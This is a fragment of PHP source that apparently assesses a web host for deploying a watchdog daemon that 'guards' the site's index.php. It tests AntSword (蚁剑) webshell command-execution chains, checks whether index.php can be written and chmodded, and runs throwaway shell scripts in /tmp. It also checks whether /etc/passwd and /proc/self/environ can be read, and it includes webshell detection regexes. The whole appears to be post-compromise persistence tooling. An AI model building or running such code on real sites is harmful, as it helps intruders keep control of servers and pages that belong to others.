'passthru', 'shell_exec', 'exec', 'popen', 'proc_open']; private const WEB_REQUIRED = ['file_put_contents', 'flock', 'file_get_contents']; private const CLI_REQUIRED = ['file_put_contents', 'flock']; private const GUARD_RECOMMENDED = ['chmod', 'scandir', 'glob']; public static function evaluate( string $baseDir, string $entryScript, array $probe = [], array $options = [] ): array { $phase = isset($options['phase']) ? (string) $options['phase'] : 'web'; $targetRel = isset($options['target']) ? (string) $options['target'] : ''; $targetAbs = isset($options['target_absolute']) ? (string) $options['target_absolute'] : ''; $cliProbe = isset($options['cli_probe']) && is_array($options['cli_probe']) ? $options['cli_probe'] : null; $blockers = []; $warnings = []; $checks = [ 'phase' => $phase, ]; $isLinux = !empty($probe['site']['is_linux']) || DIRECTORY_SEPARATOR === '/'; $checks['is_linux'] = $isLinux; if (!$isLinux) { $blockers[] = '非 Linux 环境,CLI 守护进程无法部署'; } $reqWeb = PhpEnvHelper::requireFunctions(self::WEB_REQUIRED); $checks['web_functions'] = $reqWeb['checks']; foreach ($reqWeb['blockers'] as $b) { $blockers[] = $b; } if (!PhpEnvHelper::funcAvailable('flock')) { $blockers[] = 'Web 环境 flock 不可用,无法保证单实例'; } $spawn = self::assessSpawnCapability($probe, $checks); if (!$spawn['ok']) { if ($phase === 'cli') { $warnings[] = $spawn['reason'] . '(Shell 已负责外层拉起,PHP 主进程仍可启动)'; } else { $blockers[] = $spawn['reason']; } } $baseWritable = self::isDirWritable($baseDir); $checks['base_dir_writable'] = $baseWritable; if (!$baseWritable) { $blockers[] = '脚本目录不可写,无法保存运行配置: ' . $baseDir; } $moduleWritable = self::isModuleDirWritable(); $checks['module_dir_writable'] = $moduleWritable; if (!$moduleWritable) { $blockers[] = '运行时目录不可写,无法保存守护进程日志与 PID 文件(优先 /tmp,其次 Module)'; } if ($targetAbs === '') { $targetAbs = DeployPathHelper::resolveTargetAbsolute($baseDir, $targetRel); } $targetInfo = self::assessTarget($baseDir, $probe, $targetAbs, $targetRel); $checks['target'] = $targetInfo; if (!$targetInfo['open_basedir_ok']) { $blockers[] = 'open_basedir 限制导致无法访问目标路径: ' . $targetInfo['display']; } if (empty($targetInfo['exists'])) { $blockers[] = '目标文件不存在: ' . $targetInfo['display']; } elseif (empty($targetInfo['readable'])) { $blockers[] = '目标文件不可读: ' . $targetInfo['display']; } $checks['entry_script'] = [ 'path' => $entryScript, 'exists' => is_file($entryScript), ]; if (!is_file($entryScript)) { $blockers[] = '入口脚本不存在: ' . basename($entryScript); } $shBin = '/bin/sh'; $shStat = DeployPathHelper::safePathStat($shBin); $checks['bin_sh'] = $shStat; if ($isLinux && !$shStat['open_basedir_blocked'] && (!$shStat['exists'] || !$shStat['executable'])) { $warnings[] = '/bin/sh 不可用,shell 看门狗可能无法启动'; } foreach (self::GUARD_RECOMMENDED as $fn) { $detail = PhpEnvHelper::funcDetail($fn); $checks['recommended_' . $fn] = $detail; if (!$detail['available']) { $warnings[] = '推荐函数 ' . $fn . ' 不可用:' . ($detail['reason'] ?? '可能影响 index 守护能力'); } } if ($phase === 'deploy' || $cliProbe !== null) { self::applyCliProbeChecks($cliProbe, $targetAbs, $blockers, $warnings, $checks); } if ($phase === 'cli') { $reqCli = PhpEnvHelper::requireFunctions(self::CLI_REQUIRED); $checks['cli_functions'] = $reqCli['checks']; foreach ($reqCli['blockers'] as $b) { if (!in_array($b, $blockers, true)) { $blockers[] = $b; } } if (!is_dir('/proc')) { $warnings[] = '无 /proc 文件系统,进程检测能力受限'; } if (!DeployPathHelper::safeIsFile(AsPaths::config())) { $warnings[] = '运行配置不存在,进程可启动但 index 守护尚未配置'; } } $ok = ($blockers === []); return [ 'ok' => $ok, 'blockers' => $blockers, 'warnings' => $warnings, 'checks' => $checks, 'message' => $ok ? '启动前置条件已满足' : '启动前置条件不满足:' . implode(';', $blockers), ]; } public static function evaluateCli(string $baseDir, string $entryScript): array { $probe = [ 'site' => ['is_linux' => DIRECTORY_SEPARATOR === '/'], 'command_exec' => self::probeCommandExecMinimal(), 'php_functions' => ['available' => self::listAvailableFromRequired()], ]; $options = ['phase' => 'cli']; $configFile = AsPaths::config(); if (DeployPathHelper::safeIsReadable($configFile)) { $raw = @file_get_contents($configFile); $cfg = is_string($raw) ? json_decode($raw, true) : null; if (is_array($cfg)) { if (!empty($cfg['target'])) { $options['target_absolute'] = (string) $cfg['target']; } if (!empty($cfg['target_rel'])) { $options['target'] = (string) $cfg['target_rel']; } } } return self::evaluate($baseDir, $entryScript, $probe, $options); } private static function applyCliProbeChecks( ?array $cliProbe, string $targetAbs, array &$blockers, array &$warnings, array &$checks ): void { $checks['cli_probe'] = $cliProbe; if ($cliProbe === null) { $blockers[] = 'CLI 探针未执行,无法确认 CLI 环境'; return; } if (empty($cliProbe['ok'])) { $err = isset($cliProbe['error']) ? (string) $cliProbe['error'] : '未知'; $blockers[] = 'CLI 探针失败: ' . $err; return; } if (empty($cliProbe['file_put_contents'])) { $blockers[] = 'CLI 环境 file_put_contents 不可用'; } if (empty($cliProbe['flock'])) { $blockers[] = 'CLI 环境 flock 不可用'; } if (empty($cliProbe['pcntl_fork'])) { $warnings[] = 'CLI 无 pcntl_fork,将使用单 worker 模式'; } } public static function isExecChainAvailable(array $probe = []): bool { $checks = []; return self::assessSpawnCapability($probe, $checks)['ok']; } private static function assessSpawnCapability(array $probe, array &$checks): array { $cmdExec = isset($probe['command_exec']) && is_array($probe['command_exec']) ? $probe['command_exec'] : []; if (!empty($cmdExec['any_exec_works'])) { $checks['spawn'] = [ 'ok' => true, 'source' => 'probe', 'working_methods' => $cmdExec['working_methods'] ?? [], 'exec_chain' => $cmdExec['exec_chain'] ?? null, ]; return ['ok' => true, 'reason' => '']; } $minimal = self::probeCommandExecMinimal(); $checks['spawn'] = $minimal; if (!empty($minimal['any_exec_works'])) { return ['ok' => true, 'reason' => '']; } $spawnChecks = []; foreach (self::SPAWN_FUNCTIONS as $fn) { $spawnChecks[$fn] = PhpEnvHelper::funcDetail($fn); } $checks['spawn_functions'] = $spawnChecks; return [ 'ok' => false, 'reason' => '无法通过 exec/shell_exec/proc_open/popen 等启动后台进程(蚁剑命令链无可用函数)', ]; } private static function probeCommandExecMinimal(): array { $marker = '__DAEMON_GATE__'; $cmd = 'echo ' . $marker; $shellCmd = DIRECTORY_SEPARATOR === '/' ? '/bin/sh -c ' . escapeshellarg($cmd) : 'cmd /c ' . escapeshellarg($cmd); $methods = []; $working = []; foreach (self::SPAWN_FUNCTIONS as $fn) { $methods[$fn] = self::tryExecMethod($fn, $shellCmd, $marker); if (!empty($methods[$fn]['marker_found'])) { $working[] = $fn; } } return [ 'probe_command' => $cmd, 'shell_command' => $shellCmd, 'methods' => $methods, 'working_methods' => $working, 'any_exec_works' => $working !== [], ]; } private static function tryExecMethod(string $fn, string $cmd, string $marker): array { $base = [ 'function' => $fn, 'available' => PhpEnvHelper::funcAvailable($fn), 'marker_found' => false, 'output' => '', 'error' => null, ]; if (!$base['available']) { $base['error'] = PhpEnvHelper::funcDetail($fn)['reason']; return $base; } $output = ''; try { switch ($fn) { case 'system': ob_start(); @system($cmd, $exitCode); $output = (string) ob_get_clean(); break; case 'passthru': ob_start(); @passthru($cmd, $exitCode); $output = (string) ob_get_clean(); break; case 'shell_exec': $output = (string) @shell_exec($cmd); break; case 'exec': $lines = []; @exec($cmd, $lines, $exitCode); $output = implode("\n", $lines); break; case 'popen': $fp = @popen($cmd, 'r'); if (is_resource($fp)) { while (!feof($fp)) { $output .= (string) @fgets($fp, 4096); } @pclose($fp); } else { $base['error'] = 'popen 失败'; } break; case 'proc_open': $desc = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; $proc = @proc_open($cmd, $desc, $pipes); if (is_resource($proc)) { if (isset($pipes[1])) { $output = (string) stream_get_contents($pipes[1]); @fclose($pipes[1]); } if (isset($pipes[2])) { @fclose($pipes[2]); } @proc_close($proc); } else { $base['error'] = 'proc_open 失败'; } break; } } catch (Throwable $e) { $base['error'] = $e->getMessage(); return $base; } $base['output'] = trim($output); $base['marker_found'] = strpos($output, $marker) !== false; return $base; } private static function assessTarget( string $baseDir, array $probe, string $absolute, string $displayRel ): array { $display = $displayRel !== '' ? $displayRel : DeployPathHelper::defaultTargetRel(); $dir = dirname($absolute); $writable = false; if (DeployPathHelper::safeIsFile($absolute)) { $writable = DeployPathHelper::safeIsWritable($absolute); } elseif (DeployPathHelper::pathAccessible($dir) && @is_dir($dir)) { $writable = DeployPathHelper::safeIsWritable($dir); } if (!$writable) { $entry = isset($probe['entry']) && is_array($probe['entry']) ? $probe['entry'] : []; if (!empty($entry['can_modify']['overall_modifiable']) && !empty($entry['path_abs'])) { $entryAbs = (string) $entry['path_abs']; $entryReal = DeployPathHelper::safeRealpath($entryAbs); $targetReal = DeployPathHelper::safeRealpath($absolute); if (($entryReal !== null && $targetReal !== null && $entryReal === $targetReal) || $entryAbs === $absolute) { $writable = true; } } } if ($writable && PhpEnvHelper::funcAvailable('file_put_contents')) { $suffix = function_exists('random_bytes') ? bin2hex(random_bytes(2)) : substr(md5(uniqid('', true)), 0, 4); $probePath = $dir . DIRECTORY_SEPARATOR . '.' . AsPaths::probeTag() . '_tg_' . $suffix; if (@file_put_contents($probePath, 'ok') !== false) { @unlink($probePath); } else { $writable = false; } } return [ 'display' => $display, 'absolute' => $absolute, 'writable' => $writable, 'readable' => DeployPathHelper::safeIsFile($absolute) && DeployPathHelper::safeIsReadable($absolute), 'open_basedir_ok' => DeployPathHelper::pathAllowedByOpenBasedir($absolute), 'exists' => DeployPathHelper::safeIsFile($absolute), ]; } private static function isModuleDirWritable(): bool { if (!AsPaths::ensureModuleDir()) { return false; } $dir = AsPaths::moduleDir(); if (is_writable($dir)) { return true; } $probeFile = $dir . DIRECTORY_SEPARATOR . '.' . AsPaths::probeTag() . '_mw_' . substr(md5(uniqid('', true)), 0, 6); if (@file_put_contents($probeFile, '1') !== false) { @unlink($probeFile); return true; } return false; } private static function isDirWritable(string $dir): bool { if (is_writable($dir)) { return true; } $probeFile = rtrim($dir, '/\\') . DIRECTORY_SEPARATOR . '.' . AsPaths::probeTag() . '_bw_' . substr(md5(uniqid('', true)), 0, 6); if (@file_put_contents($probeFile, '1') !== false) { @unlink($probeFile); return true; } return false; } private static function listAvailableFromRequired(): array { $all = array_unique(array_merge(self::WEB_REQUIRED, self::CLI_REQUIRED, self::GUARD_RECOMMENDED)); $out = []; foreach ($all as $fn) { if (PhpEnvHelper::funcAvailable($fn)) { $out[] = $fn; } } return $out; } } final class SitePermissionProbe { private const EXEC_FUNCTIONS = [ 'system', 'passthru', 'shell_exec', 'exec', 'popen', 'proc_open', 'pcntl_exec', 'pcntl_fork', 'pcntl_wait', 'proc_nice', 'proc_get_status', 'proc_close', 'proc_terminate', 'dl', 'putenv', 'getenv', 'ini_set', 'ini_alter', 'ini_restore', 'mail', 'error_log', 'symlink', 'link', 'chroot', 'chdir', 'scandir', 'glob', 'file_get_contents', 'file_put_contents', 'fopen', 'fwrite', 'fread', 'copy', 'rename', 'unlink', 'rmdir', 'mkdir', 'chmod', 'chown', 'touch', 'readfile', 'highlight_file', 'show_source', 'diskfreespace', 'disk_free_space', 'apache_setenv', 'apache_child_terminate', 'posix_getpwuid', 'posix_geteuid', 'escapeshellcmd', 'escapeshellarg', ]; private const DANGEROUS_FUNCTIONS = [ 'eval', 'assert', 'create_function', 'preg_replace', 'call_user_func', 'call_user_func_array', 'array_map', 'array_filter', 'usort', 'base64_decode', 'str_rot13', 'gzinflate', 'gzuncompress', 'gzdecode', ]; private const SHELL_BINS_UNIX = [ '/bin/sh', '/bin/bash', '/usr/bin/bash', '/usr/bin/sh', '/bin/dash', '/bin/zsh', '/usr/bin/env', ]; private const PROBE_MARKER = '__AS_PROBE_7f3a9c__'; private $root; private $isLinux; public function __construct(string $root) { $real = realpath($root); if ($real === false || !is_dir($real)) { throw new InvalidArgumentException('站点根目录无效'); } $this->root = $real; $this->isLinux = DIRECTORY_SEPARATOR === '/'; } public function run(bool $doWebshellScan = true, int $minScore = 25, bool $mutateIndexProbe = false): array { $t0 = microtime(true); $self = realpath(__FILE__) ?: __FILE__; $out = [ 'ok' => true, 'scanner' => 'site_probe', 'version' => '2.8', 'timestamp' => date('c'), 'security' => $this->securityMeta(), 'site' => [ 'root' => $this->root, 'script' => $self, 'script_base' => resolveScriptBaseDir(), 'is_linux' => $this->isLinux, ], 'entry' => $this->probeEntryIndex($mutateIndexProbe), 'environment' => $this->probeEnvironment(), 'php_ini' => $this->probePhpIni(), 'php_functions' => $this->probePhpFunctions(), 'command_exec' => $this->probeCommandExec(), 'tmp_shell' => $this->probeTmpShellScript(), 'filesystem' => $this->probeFilesystem(), 'open_basedir' => $this->probeOpenBasedir(), ]; if ($doWebshellScan) { $detector = new AntSwordDetector($minScore, [$self]); $scan = $detector->scanDirectory($this->root); $out['webshell_scan'] = [ 'scanned' => $scan['scanned'], 'skipped' => $scan['skipped'], 'count' => count($scan['results']), 'min_score' => $minScore, 'scan_errors' => $scan['errors'], 'hits' => $scan['results'], ]; } $out['elapsed'] = round(microtime(true) - $t0, 3); $out['daemon_startup'] = DaemonStartupGate::evaluate( resolveScriptBaseDir(), $self, $out, ['phase' => 'web'] ); return $out; } private function securityMeta(): array { return [ 'access_key_configured' => accessKeyConfigured(), 'require_access_key' => REQUIRE_ACCESS_KEY, 'require_key_for_deploy' => REQUIRE_KEY_FOR_DEPLOY, 'key_verify' => 'sha256', 'warning' => (!REQUIRE_ACCESS_KEY && !REQUIRE_KEY_FOR_DEPLOY) ? '访问密钥校验已关闭,探测与部署无需 key 即可执行' : ((!accessKeyConfigured()) ? '未配置 ACCESS_KEY_HASH,探测接口对公网开放' : null), ]; } private function probeEntryIndex(bool $mutateIndexProbe = false): array { $found = $this->locateEntryFile(); if ($found === null) { $expected = frameworkRootIndexPath($this->root); return [ 'detected' => false, 'message' => '站点根 index.php 未找到(对位 txt/g:仅检测 root/index.php,不含 public/ 等子目录)', 'expected_path' => $expected, 'candidates_checked' => ['index.php'], ]; } $real = realpath($found) ?: $found; $stat = @stat($real); $perms = ($stat !== false) ? ($stat['mode'] & 0777) : null; return [ 'detected' => true, 'path' => basename($real), 'path_rel' => $this->relPath($real), 'path_abs' => $real, 'exists' => true, 'readable' => is_readable($real), 'writable' => is_writable($real), 'executable' => is_executable($real), 'size' => @filesize($real), 'md5' => is_readable($real) ? @md5_file($real) : null, 'mtime' => @filemtime($real), 'owner_uid' => isset($stat['uid']) ? $stat['uid'] : null, 'owner_gid' => isset($stat['gid']) ? $stat['gid'] : null, 'owner_name' => $this->ownerName(isset($stat['uid']) ? $stat['uid'] : null), 'group_name' => $this->groupName(isset($stat['gid']) ? $stat['gid'] : null), 'perms_octal' => $perms !== null ? sprintf('%04o', $perms) : null, 'perms_human' => $this->permHuman($perms), 'can_modify' => $mutateIndexProbe ? $this->probeIndexModifiable($real, dirname($real), $perms) : $this->probeIndexModifiableReadOnly($real), ]; } private function locateEntryFile() { $indexPath = frameworkRootIndexPath($this->root); if ($indexPath !== '' && @is_file($indexPath) && @is_readable($indexPath)) { return $indexPath; } return null; } private function probeIndexModifiableReadOnly(string $indexPath): array { return [ 'is_writable_check' => is_writable($indexPath), 'can_touch_mtime' => false, 'can_chmod' => false, 'can_chmod_restored' => true, 'can_write_via_probe' => false, 'probe_file_cleaned' => true, 'chown_callable' => $this->funcAvailable('chown'), 'chown_tested' => false, 'notes' => ['只读探测:未执行 touch/chmod/写探针,避免改动线上 index.php'], ]; } private function probeIndexModifiable(string $indexPath, string $indexDir, $currentPerms): array { $result = [ 'is_writable_check' => is_writable($indexPath), 'can_touch_mtime' => false, 'can_chmod' => false, 'can_chmod_restored' => true, 'can_write_via_probe' => false, 'probe_file_cleaned' => true, 'chown_callable' => $this->funcAvailable('chown'), 'chown_tested' => false, 'notes' => [], ]; if ($this->funcAvailable('touch')) { $oldMtime = @filemtime($indexPath); if (@touch($indexPath, $oldMtime ?: time())) { $result['can_touch_mtime'] = true; } } if ($this->funcAvailable('chmod') && $currentPerms !== null) { $target = $currentPerms | 0200; if (@chmod($indexPath, $target)) { $result['can_chmod'] = true; if (!@chmod($indexPath, $currentPerms)) { $result['can_chmod_restored'] = false; $result['notes'][] = 'chmod 测试后未能恢复原权限'; } } } $probePath = $indexDir . DIRECTORY_SEPARATOR . '.' . AsPaths::probeTag() . '_ix_' . $this->randomHex(3); if (@file_put_contents($probePath, self::PROBE_MARKER) !== false) { $result['can_write_via_probe'] = true; if (!@unlink($probePath)) { $result['probe_file_cleaned'] = false; $result['notes'][] = '探针文件未能删除: ' . basename($probePath); } } else { $result['notes'][] = '入口文件同目录不可创建探针文件'; } $result['overall_modifiable'] = $result['is_writable_check'] || $result['can_chmod'] || $result['can_write_via_probe']; return $result; } private function probeEnvironment(): array { $user = null; if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) { $user = @posix_getpwuid(posix_geteuid()); } return [ 'php_version' => PHP_VERSION, 'php_sapi' => PHP_SAPI, 'os' => PHP_OS, 'uname' => function_exists('php_uname') ? php_uname() : PHP_OS, 'user' => (is_array($user) && isset($user['name'])) ? $user['name'] : get_current_user(), 'uid' => function_exists('posix_geteuid') ? posix_geteuid() : null, 'gid' => function_exists('posix_getegid') ? posix_getegid() : null, 'script_filename' => isset($_SERVER['SCRIPT_FILENAME']) ? $_SERVER['SCRIPT_FILENAME'] : null, 'document_root' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : null, 'temp_dir' => sys_get_temp_dir(), 'disk_free_root' => @disk_free_space($this->root), 'disable_functions' => ini_get('disable_functions') ?: '', 'open_basedir' => ini_get('open_basedir') ?: '', ]; } private function probePhpIni(): array { $keys = [ 'allow_url_fopen', 'allow_url_include', 'expose_php', 'display_errors', 'file_uploads', 'upload_max_filesize', 'post_max_size', 'max_execution_time', 'memory_limit', 'disable_classes', 'suhosin.executor.disable_eval', ]; $vals = []; foreach ($keys as $k) { $v = ini_get($k); if ($v !== false && $v !== '') { $vals[$k] = $v; } } return $vals; } private function probePhpFunctions(): array { $disabled = $this->parseDisabledFunctions(); $all = array_unique(array_merge(self::EXEC_FUNCTIONS, self::DANGEROUS_FUNCTIONS)); $available = []; $blocked = []; $detail = []; $constructs = []; foreach (LANGUAGE_CONSTRUCTS as $c) { $constructs[$c] = [ 'type' => 'language_construct', 'disabled' => in_array(strtolower($c), $disabled, true), 'note' => '语言结构无法 function_exists,默认可在代码中直接使用', ]; } foreach ($all as $fn) { $exists = function_exists($fn); $callable = $exists && is_callable($fn); $inDisabled = in_array(strtolower($fn), $disabled, true); $ok = $exists && $callable && !$inDisabled; $detail[$fn] = [ 'exists' => $exists, 'callable' => $callable, 'disabled' => $inDisabled, 'available' => $ok, ]; if ($ok) { $available[] = $fn; } else { $blocked[] = $fn; } } return [ 'disable_functions_raw' => ini_get('disable_functions') ?: '', 'disable_functions_list' => $disabled, 'available' => $available, 'blocked' => $blocked, 'language_constructs' => $constructs, 'detail' => $detail, 'eval_available' => !empty($detail['eval']['available']), 'assert_available' => !empty($detail['assert']['available']), ]; } private function probeCommandExec(): array { $cmd = 'echo ' . self::PROBE_MARKER; $shellCmd = $this->buildShellCommand($cmd); $methods = []; foreach (['system', 'passthru', 'shell_exec', 'exec', 'popen', 'proc_open'] as $fn) { $methods[$fn] = $this->tryExecMethod($fn, $shellCmd); } $bins = []; if ($this->isLinux) { foreach (self::SHELL_BINS_UNIX as $bin) { $stat = DeployPathHelper::safePathStat($bin); $bins[$bin] = [ 'exists' => $stat['exists'], 'readable' => $stat['readable'], 'executable' => $stat['executable'], 'open_basedir_blocked' => $stat['open_basedir_blocked'], ]; } } else { $cmdPath = getenv('ComSpec') ?: 'C:\\Windows\\System32\\cmd.exe'; $stat = DeployPathHelper::safePathStat($cmdPath); $bins['cmd.exe'] = [ 'exists' => $stat['exists'], 'open_basedir_blocked' => $stat['open_basedir_blocked'], ]; } $working = []; foreach ($methods as $name => $m) { if (!empty($m['marker_found'])) { $working[] = $name; } } return [ 'probe_command' => $cmd, 'shell_command' => $shellCmd, 'platform' => $this->isLinux ? 'unix' : 'windows', 'methods' => $methods, 'shell_bins' => $bins, 'working_methods' => $working, 'any_exec_works' => $working !== [], 'exec_chain' => $this->execChainFromMethods($methods), ]; } private function buildShellCommand(string $innerCmd): string { if ($this->isLinux) { return '/bin/sh -c ' . escapeshellarg($innerCmd); } return 'cmd /c ' . escapeshellarg($innerCmd); } private function execChainFromMethods(array $methods): array { $order = ['system', 'passthru', 'shell_exec', 'exec', 'popen', 'proc_open']; foreach ($order as $fn) { if (!isset($methods[$fn])) { continue; } $r = $methods[$fn]; if (!empty($r['marker_found'])) { return [ 'would_use' => $fn, 'output' => $r['output'], 'exit_code' => $r['exit_code'], ]; } } return ['would_use' => null, 'message' => '蚁剑命令链无可用函数']; } private function tryExecMethod(string $fn, string $cmd): array { $base = [ 'function' => $fn, 'available' => $this->funcAvailable($fn), 'marker_found' => false, 'output' => '', 'exit_code' => null, 'error' => null, ]; if (!$base['available'] || !function_exists($fn)) { $base['error'] = '函数不存在或被 disable_functions 禁用'; return $base; } $output = ''; $exitCode = null; try { switch ($fn) { case 'system': ob_start(); @system($cmd, $exitCode); $output = (string) ob_get_clean(); break; case 'passthru': ob_start(); @passthru($cmd, $exitCode); $output = (string) ob_get_clean(); break; case 'shell_exec': $output = (string) @shell_exec($cmd); $exitCode = ($output !== '' && strpos($output, self::PROBE_MARKER) !== false) ? 0 : 1; break; case 'exec': $lines = []; @exec($cmd, $lines, $exitCode); $output = implode("\n", $lines); break; case 'popen': $fp = @popen($cmd, 'r'); if (is_resource($fp)) { while (!feof($fp)) { $output .= (string) @fgets($fp, 4096); } $exitCode = @pclose($fp); } else { $base['error'] = 'popen 失败'; } break; case 'proc_open': $desc = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; $proc = @proc_open($cmd, $desc, $pipes); if (is_resource($proc)) { if (isset($pipes[1])) { $output = (string) stream_get_contents($pipes[1]); @fclose($pipes[1]); } if (isset($pipes[2])) { $err = (string) stream_get_contents($pipes[2]); @fclose($pipes[2]); if ($err !== '') { $output .= ($output !== '' ? "\n" : '') . $err; } } $exitCode = @proc_close($proc); } else { $base['error'] = 'proc_open 失败'; } break; } } catch (Throwable $e) { $base['error'] = $e->getMessage(); return $base; } $base['output'] = trim($output); $base['exit_code'] = $exitCode; $base['marker_found'] = strpos($output, self::PROBE_MARKER) !== false; return $base; } private function probeTmpShellScript(): array { if (!$this->isLinux) { $tmp = sys_get_temp_dir(); return [ 'skipped' => true, 'reason' => '非 Linux 环境,跳过 /tmp shell 脚本测试', 'dirs_tested' => [$tmp => ['dir' => $tmp, 'exists' => is_dir($tmp), 'writable' => is_writable($tmp)]], 'best' => null, 'any_success' => false, ]; } $candidates = array_unique(array_filter([ '/tmp', sys_get_temp_dir(), ini_get('upload_tmp_dir') ?: null, ])); $results = []; foreach ($candidates as $dir) { $real = realpath($dir) ?: $dir; $results[$real] = $this->tryTmpShellInDir($real); } $best = null; foreach ($results as $r) { if (!empty($r['can_exec_script'])) { $best = $r; break; } } return [ 'skipped' => false, 'dirs_tested' => $results, 'best' => $best, 'any_success' => $best !== null, ]; } private function tryTmpShellInDir(string $dir): array { $r = [ 'dir' => $dir, 'exists' => is_dir($dir), 'writable' => is_writable($dir), 'can_create_file' => false, 'can_chmod_executable' => false, 'can_exec_script' => false, 'script_path' => null, 'script_output' => null, 'exec_method' => null, 'steps' => [], 'cleaned_up' => true, ]; if (!$r['exists'] || !$r['writable']) { $r['steps'][] = '目录不存在或不可写'; return $r; } $script = $dir . '/as_probe_' . $this->randomHex(4) . '.sh'; $content = "#!/bin/sh\necho " . self::PROBE_MARKER . "\n"; $written = @file_put_contents($script, $content); $r['can_create_file'] = ($written !== false); $r['script_path'] = $script; $r['steps'][] = $r['can_create_file'] ? '创建 shell 脚本成功' : '创建 shell 脚本失败'; if (!$r['can_create_file']) { return $r; } if ($this->funcAvailable('chmod')) { $r['can_chmod_executable'] = @chmod($script, 0755); $r['steps'][] = $r['can_chmod_executable'] ? 'chmod +x 成功' : 'chmod +x 失败'; } $execCmd = $r['can_chmod_executable'] ? escapeshellarg($script) : '/bin/sh ' . escapeshellarg($script); foreach (['shell_exec', 'exec', 'system', 'passthru', 'proc_open', 'popen'] as $fn) { if (!$this->funcAvailable($fn)) { continue; } $test = $this->tryExecMethod($fn, $execCmd); if (!empty($test['marker_found'])) { $r['can_exec_script'] = true; $r['script_output'] = $test['output']; $r['exec_method'] = $fn; $r['steps'][] = "通过 {$fn} 执行脚本成功"; break; } } if (!$r['can_exec_script']) { $r['steps'][] = '无法通过 PHP 执行 /tmp 下的 shell 脚本(可能 noexec 或函数被禁)'; } if (@unlink($script)) { $r['steps'][] = '测试脚本已删除'; } else { $r['cleaned_up'] = false; $r['steps'][] = '警告:测试脚本未能删除'; } return $r; } private function probeFilesystem(): array { $paths = [ 'site_root' => $this->root, 'site_parent' => dirname($this->root), ]; $out = []; foreach ($paths as $key => $p) { $stat = DeployPathHelper::safePathStat($p); $out[$key] = [ 'path' => $stat['path'], 'readable' => $stat['readable'], 'writable' => $stat['writable'], 'executable' => $stat['executable'], 'open_basedir_blocked' => $stat['open_basedir_blocked'], ]; } $testFile = $this->root . DIRECTORY_SEPARATOR . '.' . AsPaths::probeTag() . '_wr_' . $this->randomHex(3); $out['can_create_file_in_root'] = (@file_put_contents($testFile, self::PROBE_MARKER) !== false); if ($out['can_create_file_in_root']) { $out['root_probe_file'] = basename($testFile); if (!@unlink($testFile)) { $out['root_probe_cleanup'] = false; } } return $out; } private function probeOpenBasedir(): array { $ob = ini_get('open_basedir') ?: ''; $testPaths = $this->isLinux ? ['/etc/passwd', '/proc/self/environ', $this->root . '/../'] : ['C:\\Windows\\win.ini', $this->root . '\\..']; $access = []; foreach ($testPaths as $p) { $access[$p] = [ 'readable' => @is_readable($p), 'realpath' => @realpath($p) ?: null, ]; } return [ 'open_basedir' => $ob, 'enabled' => $ob !== '', 'path_tests' => $access, ]; } private function parseDisabledFunctions(): array { return PhpEnvHelper::parseDisabledFunctions(); } private function funcAvailable(string $fn): bool { return PhpEnvHelper::funcAvailable($fn); } private function relPath(string $abs): string { $root = rtrim(str_replace('\\', '/', $this->root), '/'); $path = str_replace('\\', '/', $abs); if (strpos($path, $root) === 0) { return ltrim(substr($path, strlen($root)), '/'); } return basename($abs); } private function ownerName($uid) { if ($uid === null || !function_exists('posix_getpwuid')) { return null; } $u = @posix_getpwuid((int) $uid); return (is_array($u) && isset($u['name'])) ? $u['name'] : null; } private function groupName($gid) { if ($gid === null || !function_exists('posix_getgrgid')) { return null; } $g = @posix_getgrgid((int) $gid); return (is_array($g) && isset($g['name'])) ? $g['name'] : null; } private function permHuman($mode) { if ($mode === null) { return null; } $map = ['---', '--x', '-w-', '-wx', 'r--', 'r-x', 'rw-', 'rwx']; return $map[($mode >> 6) & 7] . $map[($mode >> 3) & 7] . $map[$mode & 7]; } private function randomHex(int $bytes): string { if (function_exists('random_bytes')) { return bin2hex(random_bytes($bytes)); } return substr(md5(uniqid((string) mt_rand(), true)), 0, $bytes * 2); } } final class AntSwordDetector { private const RULE_GROUPS = [ 'shell_entry' => [ 'desc' => '一句话/入口木马', 'weight' => 40, 'patterns' => [ '/@?\s*eval\s*\(\s*@?\s*(base64_decode|str_rot13|gzinflate|gzuncompress)\s*\(/i', '/@?\s*eval\s*\(\s*\$_(POST|REQUEST|GET|COOKIE)\s*\[/i', '/@?\s*assert\s*\(\s*\$_(POST|REQUEST|GET)\s*\[/i', '/@?\s*eVAl\s*\(\s*cHr\s*\(/i', '/@?\s*eval\s*\(\s*file_get_contents\s*\(\s*[\'"]php:\/\/input/i', '/@?\s*system\s*\(\s*\$_(POST|REQUEST|GET)\s*\[/i', '/@?\s*system\s*\(\s*file_get_contents\s*\(\s*[\'"]php:\/\/input/i', ], ], 'runtime_probe' => [ 'desc' => '蚁剑运行时包装', 'weight' => 35, 'patterns' => [ '/function\s+asoutput\s*\(\s*\)/i', '/function\s+asenc\s*\(\s*\$out\s*\)/i', '/echo\s+[\'"]ERROR:\/\/[\'"]\s*\./i', ], ], 'linux_cmd_exec' => [ 'desc' => 'Linux命令执行链', 'weight' => 35, 'patterns' => [ '/function\s+fe\s*\(\s*\$f\s*\)\s*\{/i', '/function\s+runcmd\s*\(\s*\$c\s*\)\s*\{/i', '/function\s+runshellshock\s*\(/i', '/@?\s*antsystem\s*\(\s*\$c\s*\)/i', ], ], 'dropper_loader' => [ 'desc' => '落地加载型', 'weight' => 30, 'patterns' => [ '/tempnam\s*\(\s*sys_get_temp_dir\s*\(\s*\)\s*,/i', '/gzdecode\s*\(\s*base64_decode\s*\(\s*\$__payload\s*\)\s*\)/i', '/include\s+\$__file\s*;\s*unlink\s*\(\s*\$__file\s*\)/i', ], ], 'obfuscation' => [ 'desc' => '混淆/分段跳转', 'weight' => 10, 'patterns' => [ '/goto\s+[A-Za-z0-9_]+\s*;\s*[A-Za-z0-9_]+\s*:/i', '/2DUAN_(START|END)/i', ], ], ]; private const SKIP_DIRS = ['.git', 'node_modules', 'vendor', 'cache']; private const PHP_EXT = ['php', 'phtml', 'php3', 'php4', 'php5', 'phar', 'inc']; private $minScore; private $excludeFiles; public function __construct(int $minScore = 25, array $excludeFiles = []) { $this->minScore = $minScore; $this->excludeFiles = array_values(array_filter(array_map('realpath', $excludeFiles))); } public function scanDirectory(string $root): array { $rootReal = realpath($root); if ($rootReal === false || !is_dir($rootReal)) { throw new InvalidArgumentException('扫描目录无效'); } $results = []; $skipped = 0; $errors = []; $scanned = 0; $self = $this; 